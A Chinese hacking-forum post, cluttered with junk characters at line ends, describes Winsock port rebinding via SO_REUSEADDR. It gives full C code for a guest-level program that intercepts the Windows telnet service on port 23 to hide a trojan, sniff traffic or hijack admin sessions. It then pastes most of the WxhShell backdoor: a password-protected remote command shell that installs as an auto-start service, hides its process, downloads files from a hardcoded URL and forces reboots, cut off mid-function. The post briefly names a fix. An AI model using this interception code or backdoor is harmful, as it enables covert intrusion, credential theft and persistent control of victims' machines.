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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 3-s}6<0v1  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >gtQw!  
>v;8~pgO  
  saddr.sin_family = AF_INET; :y]Omp  
\@a$'   
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  Rxpn~QQ  
>PKBo  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Weoj|0|t  
VUU]Pu &  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &6 -k#r  
4tA_YIv  
  这意味着什么?意味着可以进行如下的攻击: Die-@z|Y  
eZhPu'id\s  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 dP$GThGl  
M s9E@E  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) oj.A,Fh  
x90*yaw>h  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 :)f7A7:;  
pfuW  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  qL5I#?OMkU  
b}ODWdJ1  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Lju7,/UD  
UAS@R`?cI  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Y+%sBqo @  
< O*6 T%;  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;d.K_P  
.uo.N   
  #include C=Fzu&N}  
  #include `WEZ"5n  
  #include *TW=/+j  
  #include    9D\4n  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Uh}seB#mJj  
  int main() ;Z[]{SQ  
  { V5}nOGV9  
  WORD wVersionRequested; V2Q$g^X'  
  DWORD ret; SD\= m/W  
  WSADATA wsaData; /{2*WI;  
  BOOL val; }n,Zl>T9  
  SOCKADDR_IN saddr; :!&;p  
  SOCKADDR_IN scaddr; qMBR *f  
  int err; l|`9:H  
  SOCKET s; ]-o"}"3Ef  
  SOCKET sc; }S-DB#6  
  int caddsize; ij5g^{_T;8  
  HANDLE mt; 8$N8}q%  
  DWORD tid;   NMO-u3<6.  
  wVersionRequested = MAKEWORD( 2, 2 ); tL SN`6[:  
  err = WSAStartup( wVersionRequested, &wsaData ); xZ5M/YSyG  
  if ( err != 0 ) { wle@v Cmr  
  printf("error!WSAStartup failed!\n"); 3q[WHwmm  
  return -1; W|k0R4K]]  
  } ~%u|[$  
  saddr.sin_family = AF_INET; ChryJRuwv5  
   hlZ@Dq%f  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 SZ![%)83  
S/vf'gj  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); rtJl _0`  
  saddr.sin_port = htons(23); " }gVAAvc7  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q}uHFp/J  
  { W_O)~u8  
  printf("error!socket failed!\n"); +Z2MIC|Ud  
  return -1; 3 vP(S IF  
  } %m5Q"4O  
  val = TRUE; {MAQ/5  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ;32#t[i b  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) y@bcYOh3  
  { pb60R|k  
  printf("error!setsockopt failed!\n"); ( <t_Pru  
  return -1; /e\{    
  } z!QDTIb  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; `+lHeLz':  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =bh*[ , -  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~H)4)r^  
$v.C0 x  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) nm$Dd~mxW1  
  { Thy=yz;p  
  ret=GetLastError(); SQsSa1  
  printf("error!bind failed!\n"); %,@vWmn  
  return -1; x)rlyjFM  
  } ? Q@kg  
  listen(s,2); PMsz`  
  while(1) XB hb`AG  
  { q"KnLA(  
  caddsize = sizeof(scaddr); T@wcHg  
  //接受连接请求 -37a.  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); a^qNJ?R !  
  if(sc!=INVALID_SOCKET) Y-piL8Xc  
  { 6TWWl U^e  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 5/[H+O1;  
  if(mt==NULL) $!vxVs9n  
  { h)lPi   
  printf("Thread Creat Failed!\n"); 31^cz*V  
  break; <q)4la  
  } 6Q4X 6U:WB  
  } T&Xl'=/  
  CloseHandle(mt); >>l`,+y  
  }  uD_v!  
  closesocket(s); %x; x_  
  WSACleanup(); =M6[URZ  
  return 0; z_;3H,z`  
  }   "; [ iZ  
  DWORD WINAPI ClientThread(LPVOID lpParam) 87!C@XlK_  
  { }g +;y  
  SOCKET ss = (SOCKET)lpParam; :qhpL-ER  
  SOCKET sc; @ufo$?D  
  unsigned char buf[4096]; [@ <sFP;g  
  SOCKADDR_IN saddr; Op.8a`XLt&  
  long num; S-+"@>{HJ  
  DWORD val; s6*ilq1  
  DWORD ret; + j+5ud`  
  //如果是隐藏端口应用的话,可以在此处加一些判断 uxn)R#?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   kEeo5X N  
  saddr.sin_family = AF_INET; K`}{0@ilCw  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); %Kh4m7  
  saddr.sin_port = htons(23); 8rZ!ia!  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C F!Sa6  
  { MmPU7Nl%X  
  printf("error!socket failed!\n"); seFGJfN\?f  
  return -1; =-cwXo{Q.O  
  } zo{/'BnU  
  val = 100; vg Ipj3u  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %z]U LEYrZ  
  { i LBvGZ<9  
  ret = GetLastError(); +.B<Hd  
  return -1; u*S=[dq  
  } qIUfPA=/_  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %A1@&xrbl  
  { R;whW:Tx  
  ret = GetLastError(); gieN9S  
  return -1; Z0!5d<  
  } L(S'6z~_9  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Zd^6ulx  
  { Eh</? Qv\  
  printf("error!socket connect failed!\n"); E "iUq  
  closesocket(sc); SEwku}  
  closesocket(ss); <>eOC9;VY  
  return -1; KT|RF  
  } 0Q,g7K<d  
  while(1) }uHrto3M  
  { Kemw^48ts  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 xp'_%n~K@  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 NvE}eA#  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 UEs7''6RM  
  num = recv(ss,buf,4096,0); FLal}80.o:  
  if(num>0) B0$:b !  
  send(sc,buf,num,0); _CBWb  
  else if(num==0) <P ,~eX(r  
  break; e"]8T},  
  num = recv(sc,buf,4096,0); W/z7"#  
  if(num>0) VpfUm?Nq  
  send(ss,buf,num,0); 'X).y1'  
  else if(num==0) 0<"k8 k@J  
  break; {%)s.5Pfw  
  } CHd9l]Rbe  
  closesocket(ss); I3 =#@2  
  closesocket(sc); m`#Od^vk  
  return 0 ; 5IOFSy`  
  } ~0$NJrUy  
-\ZcOXpMx=  
C`=p +2I]  
========================================================== L$'[5"ma ;  
Tm^89I]L  
下边附上一个代码,,WXhSHELL \]Kh[z0"  
[P zv4+  
========================================================== }<@j'Ok}.  
2n><RZ/9  
#include "stdafx.h" =@Dwlze  
uY_SU-v  
#include <stdio.h> m p<1yY]  
#include <string.h> <99M@ cF  
#include <windows.h> @J{m@ji{  
#include <winsock2.h> AWjJ{#W>9  
#include <winsvc.h> ' K@|3R  
#include <urlmon.h> eAUcv`[#p  
/-zXM;h  
#pragma comment (lib, "Ws2_32.lib") UX-&/eScN  
#pragma comment (lib, "urlmon.lib") nMDxH $O  
J]W5[)L  
#define MAX_USER   100 // 最大客户端连接数 AL/?,%F  
#define BUF_SOCK   200 // sock buffer .iCDXc{#  
#define KEY_BUFF   255 // 输入 buffer t$2_xX  
rn DCqv!'P  
#define REBOOT     0   // 重启 HCK|~k  
#define SHUTDOWN   1   // 关机 =U[3PC-N @  
HS'Vi9  
#define DEF_PORT   5000 // 监听端口 5vo.[^ty  
j.a`N2]WE  
#define REG_LEN     16   // 注册表键长度 jA".r'D%  
#define SVC_LEN     80   // NT服务名长度 kdz=ltw  
-?]W*f  
// 从dll定义API 4=uhh  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4?N8R$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); AE: Z+rM*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); r|4t aV&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^@P1 JNe  
x@mL $  
// wxhshell配置信息 f)]%.>  
struct WSCFG { 8eA+d5k\.  
  int ws_port;         // 监听端口 Vz14j_  
  char ws_passstr[REG_LEN]; // 口令 >+. ( r]  
  int ws_autoins;       // 安装标记, 1=yes 0=no V)Z70J <'  
  char ws_regname[REG_LEN]; // 注册表键名 d]9U^iy  
  char ws_svcname[REG_LEN]; // 服务名 Bwr3jV?S  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z\[N!Zt|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  zYXV;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 f}guv~K  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f= >O J!:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (SSRY9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 N@B9 @8h  
'mI'dG  
}; '=][J_  
6y%0`!  
// default Wxhshell configuration Y@'8[]=0  
struct WSCFG wscfg={DEF_PORT, .4. b*5  
    "xuhuanlingzhe", L@=3dp!\Cu  
    1, sNun+xsf^  
    "Wxhshell", 2VW}9O  
    "Wxhshell", .CP& bJP%  
            "WxhShell Service", zMIT}$L  
    "Wrsky Windows CmdShell Service", Zmbfq8K  
    "Please Input Your Password: ", .ROznCe}  
  1, ceNix!P  
  "http://www.wrsky.com/wxhshell.exe", }68i[v9Njk  
  "Wxhshell.exe" MX>[^}n  
    }; `1:{0p2q  
0"~i ^   
// 消息定义模块 "~TA SX_?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ? ` SUQm  
char *msg_ws_prompt="\n\r? for help\n\r#>"; O25lLNmO  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8* Jw0mSw  
char *msg_ws_ext="\n\rExit."; =4d (b ;  
char *msg_ws_end="\n\rQuit."; Z{?G.L*/  
char *msg_ws_boot="\n\rReboot..."; s3Cc;#  
char *msg_ws_poff="\n\rShutdown..."; Jk,;JQ  
char *msg_ws_down="\n\rSave to "; = k\J<  
h6dPO"  
char *msg_ws_err="\n\rErr!"; ETs>`#`6o  
char *msg_ws_ok="\n\rOK!"; r$)w7Gk<  
s/089jlc  
char ExeFile[MAX_PATH]; <\?wAjc,  
int nUser = 0; h gJ[LU|>  
HANDLE handles[MAX_USER]; (sWLhUgRX  
int OsIsNt; phO;c;y}  
E*i#?u  
SERVICE_STATUS       serviceStatus; hy|b6wF&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Z`YJBcXR  
}i!J/tJ)b  
// 函数声明 0p89: I*0  
int Install(void); $XoQ]}"O  
int Uninstall(void); 1}~(Yj@f%  
int DownloadFile(char *sURL, SOCKET wsh); Cu6%h>@K$  
int Boot(int flag); $1SUU F\.  
void HideProc(void);   TX  
int GetOsVer(void); "Ks,kSEzu  
int Wxhshell(SOCKET wsl); dH( ('u[  
void TalkWithClient(void *cs); NHlk|Y#6b  
int CmdShell(SOCKET sock); q+,Q<2J  
int StartFromService(void); cX3lt5  
int StartWxhshell(LPSTR lpCmdLine); ws4cF N9P?  
W`^@)|9^)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); E!S 78 z:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W456!OHa  
|JCU<_<  
// 数据结构和表定义 v+9 9 -.  
SERVICE_TABLE_ENTRY DispatchTable[] = (5\N B0  
{ tDUwy^j  
{wscfg.ws_svcname, NTServiceMain}, 'uy/o)L  
{NULL, NULL} w&ak"GgV  
}; O*#*%RL|  
b+Br=Fv"T  
// 自我安装 iYC9eEF  
int Install(void) \l~*PG2  
{ 47J5oPT2'  
  char svExeFile[MAX_PATH]; $\9~)Rq6  
  HKEY key; ,0LU~AGe   
  strcpy(svExeFile,ExeFile);  T Q,?>6n  
Ewg:HX7<(  
// 如果是win9x系统,修改注册表设为自启动 @B}aN@!/  
if(!OsIsNt) { 4[N^>qt =  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 43=,yz2Ef  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,a#EW+" Z  
  RegCloseKey(key); 5atYOep  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )p*}e8L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .1LCXW=  
  RegCloseKey(key); F:aILx  
  return 0;  W%\C_  
    } {s;U~!3aY  
  } <_Q1k>  
} d^`?ed\1  
else { }V\N16f  
Jec'`,Y  
// 如果是NT以上系统,安装为系统服务 K #.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); l#n,Fg3  
if (schSCManager!=0) R4-~jgzx  
{ QE7V. >J_p  
  SC_HANDLE schService = CreateService 0]4(:(B  
  ( bJD;>"*  
  schSCManager, ~y7jCcd`  
  wscfg.ws_svcname, = 9 T$Gr  
  wscfg.ws_svcdisp, iQ"XLrpl  
  SERVICE_ALL_ACCESS, iTaWup  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2it?$8#i  
  SERVICE_AUTO_START, \QB;Ja _  
  SERVICE_ERROR_NORMAL, a0Zv p>Ft  
  svExeFile, t%8d-+$  
  NULL, c%qv9   
  NULL, --DoB=5%8  
  NULL, ,cq F3   
  NULL, 71l%MH  
  NULL !kC* g  
  ); A= w9V  
  if (schService!=0) Nv"EV;$  
  { )RcL/n  
  CloseServiceHandle(schService); yxc=Z0~1  
  CloseServiceHandle(schSCManager); V(E/'DR  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $.bBFWk  
  strcat(svExeFile,wscfg.ws_svcname); Qa.u Mq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &y#r;L<9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4 uQT5  
  RegCloseKey(key); SV(]9^nW  
  return 0; 'PP#^aI,  
    } D$x_o!JT  
  } (IPY^>h  
  CloseServiceHandle(schSCManager); ?^N3&ukkyo  
} O]m+u  
} Nr=d<Us9f  
Ox-|JJ=  
return 1; jQ)T67  
} )l#E}Uz  
/:FOPPs  
// 自我卸载 Q1z;/A$Al  
int Uninstall(void) C$5[X7'  
{ %!1Q P[}K  
  HKEY key; QeK*j/  
`ta7Gc/:UY  
if(!OsIsNt) { *Aa?yg:=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fYW6b[lI  
  RegDeleteValue(key,wscfg.ws_regname); %D[0nt|X  
  RegCloseKey(key); 5>TK^1 :  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l\n@cQR  
  RegDeleteValue(key,wscfg.ws_regname); kTvd+TP4  
  RegCloseKey(key); 9 '2_  
  return 0; t N2Md}@e  
  } !e?.6% %   
} R,Vd.-5M  
} ZGd!IghL  
else { p*P)KP  
b2FO$Os  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _H/8_[xk  
if (schSCManager!=0) ?)#5X_V-q  
{ mbueP.q[?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >&U,co$>  
  if (schService!=0) H8On<C=  
  { JGQjw(Xs  
  if(DeleteService(schService)!=0) { J^g!++|2P  
  CloseServiceHandle(schService); |.3DD"*  
  CloseServiceHandle(schSCManager); S)/_muP  
  return 0; &sd}ulEg`  
  } G}G#i`6o  
  CloseServiceHandle(schService); j.@\3'  
  } U,.![TP  
  CloseServiceHandle(schSCManager); ~b2wBs)r  
} ,zTy?OQ  
} (zFi$  
k Zq!&  
return 1; &EnuE0BD  
} ^) s2$A:L  
L{`JRu  
// 从指定url下载文件 E)fglYWs2  
int DownloadFile(char *sURL, SOCKET wsh) {qa Aq%'  
{ @#-q^}3  
  HRESULT hr; <(-hx+^  
char seps[]= "/"; /n8B,-Z5s5  
char *token; '3 ^+{=q  
char *file; RnDt)3  
char myURL[MAX_PATH]; 5O6hxcMjT  
char myFILE[MAX_PATH]; Dv/WE>?Aw  
D N*t~Z3[  
strcpy(myURL,sURL); r#Oo nZ  
  token=strtok(myURL,seps); _Wa. JUbv  
  while(token!=NULL) (/j); oSK  
  { W!&vul5  
    file=token; qC?:*CXH  
  token=strtok(NULL,seps); b 'pOJS  
  } GF^071]G  
6}oXP_0U  
GetCurrentDirectory(MAX_PATH,myFILE); ,9o"43D:a|  
strcat(myFILE, "\\"); dB5b@9*  
strcat(myFILE, file); >#y^;/bb  
  send(wsh,myFILE,strlen(myFILE),0); ' >rw(3  
send(wsh,"...",3,0); q+vx_4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I=NZokfS  
  if(hr==S_OK) xcf%KXJf6  
return 0; oGRhnP'PF+  
else M )2`+/4  
return 1; G-.^O,%  
a qc?pqM  
} 6 M*O{f  
4zo5}L `Y  
// 系统电源模块 % V ;?  
int Boot(int flag) M%0C_=zg  
{ JQ@E>o7_  
  HANDLE hToken; [YcG(^^  
  TOKEN_PRIVILEGES tkp; McQe1  
1cD! :[  
  if(OsIsNt) { u9EgdpD  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6 jn3`D  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); wD]/{ jw  
    tkp.PrivilegeCount = 1; s=QAO!aw  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; i0$kit  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xsMBC  
if(flag==REBOOT) { ~'CE[G5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) XUlS\CH@{  
  return 0; Uh):b%bS;J  
} 9 o&`5  
else { rq/I` :  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fL=~NC"  
  return 0; -B$2\ZE  
} AQiwugs  
  } eXf22;Lz  
  else { b8LLr;oQw  
if(flag==REBOOT) { 3^6 d]f  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) k-{<=>uM  
  return 0; sH[ROm  
} T]=r Co  
else { +lMX{es\O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y1J=3Y  
  return 0; A"rfZ`  
} LpqO{#ZG  
} ftF@Wq1f  
E }nH1  
return 1; ^*Yh@4\{JH  
} ^kB8F"X  
$H9%J  
// win9x进程隐藏模块 7G>dTO  
void HideProc(void) Q{5kxw1ZF  
{ 3skC$mpJHw  
,~]tg77  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %s(k_|G+4  
  if ( hKernel != NULL ) 57&b:0`p  
  { S-|)QGxV6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,^. 88<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); S_IUV)  
    FreeLibrary(hKernel); D,k"PaLP  
  } Y/ .Z .FD`  
Us0EG\Y  
return; Z Z:}AQ  
} j4uvS!  
OD6\Mr2=  
// 获取操作系统版本 sv&;Y\2c  
int GetOsVer(void) B2'i7P s  
{ EKsT~SS  
  OSVERSIONINFO winfo; ;k>&FWEG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |~vI3]}fx  
  GetVersionEx(&winfo); .w8J*JZ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \S! e![L/  
  return 1; wlqpn(XR  
  else esMX-.8Cx  
  return 0; ap+JQ@b  
} Z*= $8 e@  
x?2@9u8Yb  
// 客户端句柄模块 O4V.11FnW  
int Wxhshell(SOCKET wsl) KQg]0y d  
{ <BMXCk  
  SOCKET wsh; )6D,d5<  
  struct sockaddr_in client; :i. {  
  DWORD myID; Wg<(ms dj  
h_+dT  
  while(nUser<MAX_USER) vRH d&0  
{ xk5@d6Y{r  
  int nSize=sizeof(client); HV{wI1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m0;CH/D0  
  if(wsh==INVALID_SOCKET) return 1; P;ci9vk  
uJC~LC N  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c_'OPJ  
if(handles[nUser]==0) \Ani}qQ%|  
  closesocket(wsh); |m^k_d!d  
else G2Qlt@.T  
  nUser++; 3 +G$-ru  
  } bj>v|#r^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); rzm:Yx  
4O)1uF;  
  return 0; v{ 0=  
} 0dGAP  
e'~J,(fB  
// 关闭 socket 5?3Me59  
void CloseIt(SOCKET wsh) c*L0@Ak%  
{ ; Q3n  
closesocket(wsh); mR?5G: W~R  
nUser--; 9NQlI1W z4  
ExitThread(0); 5#+^E{  
} !y@NAa0  
sP;nGQ.eN  
// 客户端请求句柄 %}Ss,XJ  
void TalkWithClient(void *cs) x:7b/ j-  
{ !`,Sfqij  
QD:{U8YbF$  
  SOCKET wsh=(SOCKET)cs; LXC9I/j/  
  char pwd[SVC_LEN]; y}My.c  
  char cmd[KEY_BUFF]; pEIRh1  
char chr[1]; GS a [ oh  
int i,j; )GM41t1i  
uj R_"r|l  
  while (nUser < MAX_USER) { JNt^ (z  
r0+6evU2  
if(wscfg.ws_passstr) { SEGri#s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @,cowar*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,D]QxbwZ  
  //ZeroMemory(pwd,KEY_BUFF); pgE}NlW  
      i=0; v*SEb~[  
  while(i<SVC_LEN) { LSGBq  
B&[M7i  
  // 设置超时 OZ |IA:,}  
  fd_set FdRead; qUob?| ^   
  struct timeval TimeOut; 2\jPv`Ia  
  FD_ZERO(&FdRead); X\@C.H2ttY  
  FD_SET(wsh,&FdRead); YkniiB[/  
  TimeOut.tv_sec=8; w35J.zn  
  TimeOut.tv_usec=0; {f2S/$q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w[S pw<Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2(u,SQ  
{B?Wu3-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !'&n -Q  
  pwd=chr[0]; jv%kOovj  
  if(chr[0]==0xd || chr[0]==0xa) { 19Mu61  
  pwd=0; ER5gmmVP@p  
  break; QLEKsX7p>  
  } ktFhc3);!  
  i++; k@f g(}6  
    } OwH81#   
p?) ;eJtV/  
  // 如果是非法用户,关闭 socket beRVD>T  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r&R B9S@*h  
} El[)?+;D  
+;N2p1ZBf  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %)|9E>fP]N  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b F"G[pD  
%,6#2X nX%  
while(1) { Sa?ksD2IaB  
TDFkxB>  
  ZeroMemory(cmd,KEY_BUFF); #LL?IRH9^  
_aad=BrMK  
      // 自动支持客户端 telnet标准   k.vBj~xU  
  j=0; 9F)z4  
  while(j<KEY_BUFF) { J'SZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4'g;TI^  
  cmd[j]=chr[0]; wVicyiY]  
  if(chr[0]==0xa || chr[0]==0xd) { ;t<QTGJ  
  cmd[j]=0; z(_Ss@ $  
  break; 2jg-  
  } P@$/P99  
  j++; G-xDN59K  
    } P"y`A}Bx  
/ ';0H_  
  // 下载文件 juka0/  
  if(strstr(cmd,"http://")) { pQ=>.JU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y;@>b{s  
  if(DownloadFile(cmd,wsh)) 544X1Ww2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pe3@d|-,MU  
  else XC0bI,Fu,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'IZI:V"  
  } B$ajK`x&I  
  else { .aAL]-Rj  
0- HqPdjR  
    switch(cmd[0]) {  -xSA  
  ~]pE'\D7Ad  
  // 帮助 )uj Ex7&c  
  case '?': { OGde00  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <>s`\ %  
    break; >}`:Ac  
  } q3.j"WaP  
  // 安装 ` k[-M2[  
  case 'i': { P&9Gga^I  
    if(Install()) v 1z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =XucOli6  
    else yj;sSRT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J&[@}$N  
    break; ,0*&OXt  
    } t2F _uCr  
  // 卸载 k2c}3 MeP  
  case 'r': { Sp@^XmX(S  
    if(Uninstall()) <tF9V Jq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J pFfzb  
    else 96 q_ K84K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M m[4yP%  
    break; 8oUpQcim  
    } .y_/Uwu  
  // 显示 wxhshell 所在路径 R:e<W/P"  
  case 'p': { hd>aZ"nm1  
    char svExeFile[MAX_PATH]; _/uFsYC  
    strcpy(svExeFile,"\n\r"); K/tRe/t }  
      strcat(svExeFile,ExeFile); u<3HQ.:;  
        send(wsh,svExeFile,strlen(svExeFile),0); OMWbZ>jB  
    break; U1DXe h~V  
    } lD^]\;?  
  // 重启 =yr0bGy`-  
  case 'b': { y4*U6+#.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u.d).da  
    if(Boot(REBOOT)) C8[&S&<_<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &Q;sSIc  
    else { Ss~;m']68  
    closesocket(wsh); :=/85\P0SU  
    ExitThread(0); i@P)a'W_  
    } < ,Ue 0  
    break; ?o oe'V@  
    } wfU7G[  
  // 关机 l>Z5 uSG  
  case 'd': { .z)%)PVV  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w[9|cgCY  
